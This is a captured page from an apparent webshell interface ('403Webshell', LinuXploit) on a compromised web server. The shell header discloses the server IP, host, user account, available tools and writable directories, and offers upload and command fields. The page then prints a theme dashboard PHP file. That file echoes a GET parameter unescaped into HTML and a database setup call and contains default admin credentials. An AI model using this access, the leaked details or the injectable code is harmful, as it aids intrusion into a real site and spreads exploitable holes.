403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/filthyfemdom.com/public_html/custom_assets/options/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/filthyfemdom.com/public_html/custom_assets/options/dashboard.php
<?php
session_start();
include('includes/functions.php');

// INCLUDE THE PAGE NAME FOR TRACKING
$pagename = 'dashboard';

get_header($pagename);

get_navbar($pagename);
?>

<!-- Content -->
<div id='content'>
	<?php versionCheck(); ?>
	
	<div class='panel panel-default'>
		<div class='panel-heading'>
			<i class='fa fa-pencil icon-large'></i> Main Setup
		</div>
		<div class='panel-body'>
		
			<?php if( isset($_GET['action']) && $_GET['action'] == 'config_updated' ) { ?>
			
				<div class="alert alert-success">
					<h4><strong>config.ini.php</strong> Successfuly updated!</h4>
					<p><i class="fa fa-check"></i> The config.ini.php file has been updated.</p>
					
					<p><br/><a href="dashboard.php" class="btn btn-success">Return to Dashboard</a></p>
				</div>
			
			<?php } elseif( isset($_GET['action']) && $_GET['action'] == 'setup_tables' ) { ?>
			
				<div class="alert alert-warning">
					<h4><strong>Database</strong> update</h4>
					<p><i class="fa fa-check"></i> Setting up the `<?php echo $_GET['table_name']; ?>` table:</p>
					<p>
						<pre>DROP TABLE IF EXISTS `<?php echo $_GET['table_name']; ?>`;
CREATE TABLE `<?php echo $_GET['table_name']; ?>` (
  `Name` text NOT NULL,
  `Value` text NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
INSERT INTO `<?php echo $_GET['table_name']; ?>` (Name) VALUES ('THEME_OPTIONS');
INSERT INTO `<?php echo $_GET['table_name']; ?>` (Name) VALUES ('HERO_OPTIONS');</pre>
					</p>
					<p><i class="fa fa-exclamation-triangle"></i> WARNING: If you already did this, it will erase and re-create the table, and all current stored theme settings will be erased.</p>
					
					<hr/>
					<p>Are you sure you want to continue?</p>					
					<p><a href="dashboard.php?action=setup_tables_confirm&table_name=<?php echo $_GET['table_name']; ?>" class="btn btn-success">YES, SETUP TABLES</a> <a href="dashboard.php" class="btn btn-default">RETURN TO DASHBOARD</a></p>
				</div>
				
			<?php } elseif( isset($_GET['action']) && $_GET['action'] == 'setup_tables_confirm' ) { ?>
			
				<?php setupDatabaseTable( $_GET['table_name'] ); ?>
			
			<?php } else { ?>
			
			<?php checkDatabase(); ?>
			
			<?php checkPermissions(); ?>
		
			<form action="dashboard.php" method="POST">
				<fieldset>
					<legend>config.ini.php file</legend>
					<p>The fields below will pull out the information from the <strong>config.ini.php</strong> file inside the <strong>options/</strong> folder.</p>
					<div class='form-group'>
						<label class='control-label'>Database Host</label> <input name="evx_dbhost" class='form-control' placeholder='localhost' type='text' value="<?php echo $zdopt['evx_dbhost']; ?>">
						<p class='help-block'>Your current site's Database Host</p>
					</div>
					<div class='form-group'>
						<label class='control-label'>Database Username</label> <input name="evx_dbuser" class='form-control' placeholder='database_username' type='text' value="<?php echo $zdopt['evx_dbuser']; ?>">
						<p class='help-block'>Database Username</p>
					</div>
					<div class='form-group'>
						<label class='control-label'>Database Password</label> <input name="evx_dbpass" class='form-control' placeholder='database_password' type='password' value="<?php echo $zdopt['evx_dbpass']; ?>">
						<p class='help-block'>Database Password</p>
					</div>
					<div class='form-group'>
						<label class='control-label'>Database Name</label> <input name="evx_dbname" class='form-control' placeholder='database_name' type='text' value="<?php echo $zdopt['evx_dbname']; ?>">
						<p class='help-block'>Database Name</p>
					</div>
					<div class='form-group'>
						<label class='control-label'>ElevatedX Site ID</label> <input name="evx_siteid" class='form-control' placeholder='Your ElevatedX Site ID' type='text' value="<?php echo $zdopt['evx_siteid']; ?>">
						<p class='help-block'>ElevatedX Site ID</p>
					</div>
					<div class='form-group'>
						<label class='control-label'>ElevatedX Sub-Site ID</label> <input name="evx_subsiteid" class='form-control' placeholder='Your ElevatedX Sub-Site ID' type='text' value="<?php echo $zdopt['evx_subsiteid']; ?>">
						<p class='help-block'>ElevatedX Sub-Site ID <span style="color:red;">ONLY FILL IN IF YOU ARE USING ElevatedX Network Plugin</span></p>
					</div>
					
					<hr/>
					
					<legend>Theme Options Logins</legend>
					
					<?php if( $zdopt['admin_username'] == 'admin' && $zdopt['admin_password'] == 'zuzanadesigns' ){ ?>
					<div class="alert alert-danger">
						<h4><strong>Security</strong> Alert!</h4>
						<p><i class="fa fa-exclamation-triangle"></i> You are still using the default USERNAME and PASSWORD for the Theme Options panel. We highly recommend you changing it ASAP!!!</p>
					</div>
					<?php } ?>
					<div class='form-group'>
						<label class='control-label'>Username</label> <input name="admin_username" class='form-control' placeholder='admin_username' type='text' value="<?php echo $zdopt['admin_username']; ?>">
						<p class='help-block'>Administrator Username</p>
					</div>
					<div class='form-group'>
						<label class='control-label'>Password</label> <input name="admin_password" class='form-control' placeholder='admin_passwod' type='password' value="<?php echo $zdopt['admin_password']; ?>">
						<p class='help-block'>Administrator Password</p>
					</div>
					
				</fieldset>
				<div class='form-actions'>
					<input type="submit" class="btn btn-default" value="Update Information" name="zd_config">
				</div>
			</form>
			
			<?php } ?>
		</div>
	</div><!--//panel-->
	
</div>

<?php get_footer(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit